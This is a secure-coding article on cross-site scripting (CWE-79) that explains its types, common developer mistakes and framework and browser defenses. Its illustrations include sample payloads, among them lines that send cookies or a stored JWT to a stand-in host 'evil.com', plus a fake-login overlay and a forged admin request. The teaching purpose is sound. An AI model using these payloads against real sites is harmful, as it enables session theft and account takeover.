CWE-79: Cross-Site Scripting (XSS) — The Vulnerability Developers Still Underestimate

Cross-Site Scripting has been on security rankings for more than two decades, yet it remains one of the most frequently discovered web application vulnerabilities in production systems. It persists not because developers are unaware of it, but because modern applications create far more places for untrusted data to enter the DOM than many teams realize.

Despite its age, XSS remains dangerous because it turns your own application into the delivery mechanism for attacker-controlled code. When exploited successfully, the victim’s browser executes malicious JavaScript in the security context of your site—granting the attacker access to sessions, data, and privileged actions as if they were the user.

This article breaks down how XSS works, why it remains prevalent, how modern attackers exploit it, and what developers can do to prevent it.

What Is Cross-Site Scripting?

CWE-79 refers to improper neutralization of input during web page generation.

In practical terms:

An application includes untrusted data in a web page without properly escaping or sanitizing it, allowing attacker-supplied JavaScript to execute in another user’s browser.

Because the script runs under the trusted origin of the vulnerable application, the browser treats it as legitimate code from your site.

How XSS Actually Works

At its core, XSS occurs when three conditions exist:

  1. User-controlled input enters the application
  2. That input is reflected or stored without safe encoding
  3. The browser interprets it as executable content

Example Flow

  1. Attacker submits:
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>
  1. Application stores or reflects it:
<div>Welcome, <script>fetch(...)</script></div>
  1. Victim loads page
  2. Browser executes attacker script
1. Attacker Inputs Malicious Script Payload 2. Vulnerable App Stores / Reflects Input 3. Victim Loads Rendered Web Page 4. Browser Executes JS

The Three Primary Types of XSS

1. Reflected XSS

Payload is immediately reflected in the response.

Example:

/search?q=<script>alert(1)</script>

Server response:

Results for: <script>alert(1)</script>

Typical Delivery: Phishing links, malicious redirects.

2. Stored XSS

Payload is persisted and served to multiple users.

Example Targets:

  • Comment sections
  • User profiles
  • Support tickets
  • Admin dashboards
  • Chat systems

Risk: Higher than reflected XSS because every viewer becomes a victim.

3. DOM-Based XSS

Client-side JavaScript introduces unsafe data into the DOM.

Example:

document.getElementById("output").innerHTML = location.hash.substring(1);

Payload:

https://site.com/#<img src=x onerror=alert(1)>

No server-side reflection required.

Why Developers Still Get XSS Wrong

1. “We Sanitize Input” Is Not Enough

Input validation does not solve XSS.

Even “clean” text can become dangerous if inserted into the wrong context.

Example:

<input value="{{userInput}}">

Requires attribute encoding, not HTML encoding.

Different contexts require different defenses.

2. Developers Underestimate DOM XSS

Many teams focus on backend rendering while ignoring client-side injection points:

  • innerHTML
  • outerHTML
  • insertAdjacentHTML
  • document.write
  • Dynamic template rendering
  • Unsafe React/Vue/Angular escape bypasses

Modern SPAs often create more DOM XSS risk than server-rendered apps.

3. Framework Protection Creates False Confidence

Developers assume frameworks solve XSS automatically.

They help—but only when used correctly.

Dangerous escape hatches exist in every major framework.

4. Rich Text / Markdown Features Introduce Complexity

Supporting:

  • User formatting
  • Embedded media
  • WYSIWYG editors
  • Markdown/HTML rendering

creates pressure to allow “some HTML,” which often leads to broken sanitization.

Modern Exploitation Techniques

Attackers rarely stop at alert(1).

Modern XSS exploitation is focused on session abuse, lateral movement, and privileged action.

XSS Payload Executed in Victim Browser Session Hijacking Steal tokens / cookies Privileged Actions Abuse authenticated session Credential Phishing Inject fake login UI Internal API Abuse Enumerate hidden endpoints Worm Propagation Self-replicating payloads

Session Hijacking / Token Theft

If tokens are accessible to JavaScript:

fetch('https://evil.com', {
  method:'POST',
  body: localStorage.getItem('jwt')
});

Credential Harvesting / Fake UI Injection

Attackers inject phishing overlays:

document.body.innerHTML = fakeLoginPrompt;

Victim believes session expired.

Privileged Action Execution

Even with HttpOnly cookies:

fetch('/admin/create-user', {
  method:'POST',
  body:'role=admin'
});

Attacker abuses victim’s authenticated session.

Internal API Enumeration

XSS can probe privileged frontend-only endpoints:

fetch('/api/internal/users')

Wormable XSS

Stored XSS can self-propagate by posting payloads into other accounts/messages automatically.

Historic examples include social platform worms and internal admin-panel worms.

Framework-Specific Mitigations

React

Default Protection

React escapes values inserted via JSX:

<div>{userInput}</div>

Dangerous Sink

Avoid:

<div dangerouslySetInnerHTML={{__html: userInput}} />

Mitigation

If HTML rendering is required:

import DOMPurify from 'dompurify';

<div dangerouslySetInnerHTML={{
  __html: DOMPurify.sanitize(userInput)
}} />

Angular

Default Protection

Angular sanitizes many bindings automatically.

Dangerous APIs

Avoid unnecessary use of:

bypassSecurityTrustHtml()
bypassSecurityTrustScript()

These disable Angular protections.

Vue

Default Protection

Escapes interpolated content:

{{ userInput }}

Dangerous Sink

<div v-html="userInput"></div>

Use only with trusted/sanitized content.

Server-Side Templates

Whether using:

  • Jinja2
  • Twig
  • Razor
  • Handlebars
  • EJS

Keep auto-escaping enabled.

Do not disable escaping for convenience.

Secure Coding Examples

Unsafe HTML Reflection

return f"<div>{username}</div>"

Safe HTML Encoding

import html
return f"<div>{html.escape(username)}</div>"

Unsafe DOM Manipulation

output.innerHTML = userComment;

Safe Alternative

output.textContent = userComment;

Unsafe URL Construction

<a href="/search?q={{userInput}}">

Unencoded attribute context can break out of quotes.

Safe Attribute Encoding

Use framework/template escaping specific to attribute contexts.

Defense in Depth

Even strong coding practices benefit from layered controls.

Content Security Policy (CSP)

Restrict script execution:

Content-Security-Policy:
  default-src 'self';
  script-src 'self';

CSP helps mitigate impact when XSS occurs.

HttpOnly Cookies

Prevent JavaScript access to session cookies.

Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Lax

Trusted Types

Modern browser defense for DOM XSS prevention helps restrict dangerous DOM sinks.

Why XSS Remains in the Top 25

Because it is:

  • Easy to introduce
  • Hard to detect manually in complex SPAs
  • Frequently underestimated
  • Highly exploitable
  • Often chainable with other flaws

Most XSS is not caused by ignorance of <script> tags.

It is caused by misunderstanding context-sensitive output encoding and unsafe DOM manipulation.

Final Thoughts

Cross-Site Scripting is no longer just a “pop an alert box” vulnerability.

In modern applications it is:

  • A credential theft vector
  • A privilege escalation mechanism
  • A lateral movement platform
  • A gateway into internal APIs
  • A persistent worm mechanism in collaborative systems

Teams that treat XSS as a solved 2005 problem continue to ship it in 2026.

The reality is simple:

If your application renders untrusted data, XSS prevention must be engineered deliberately—not assumed.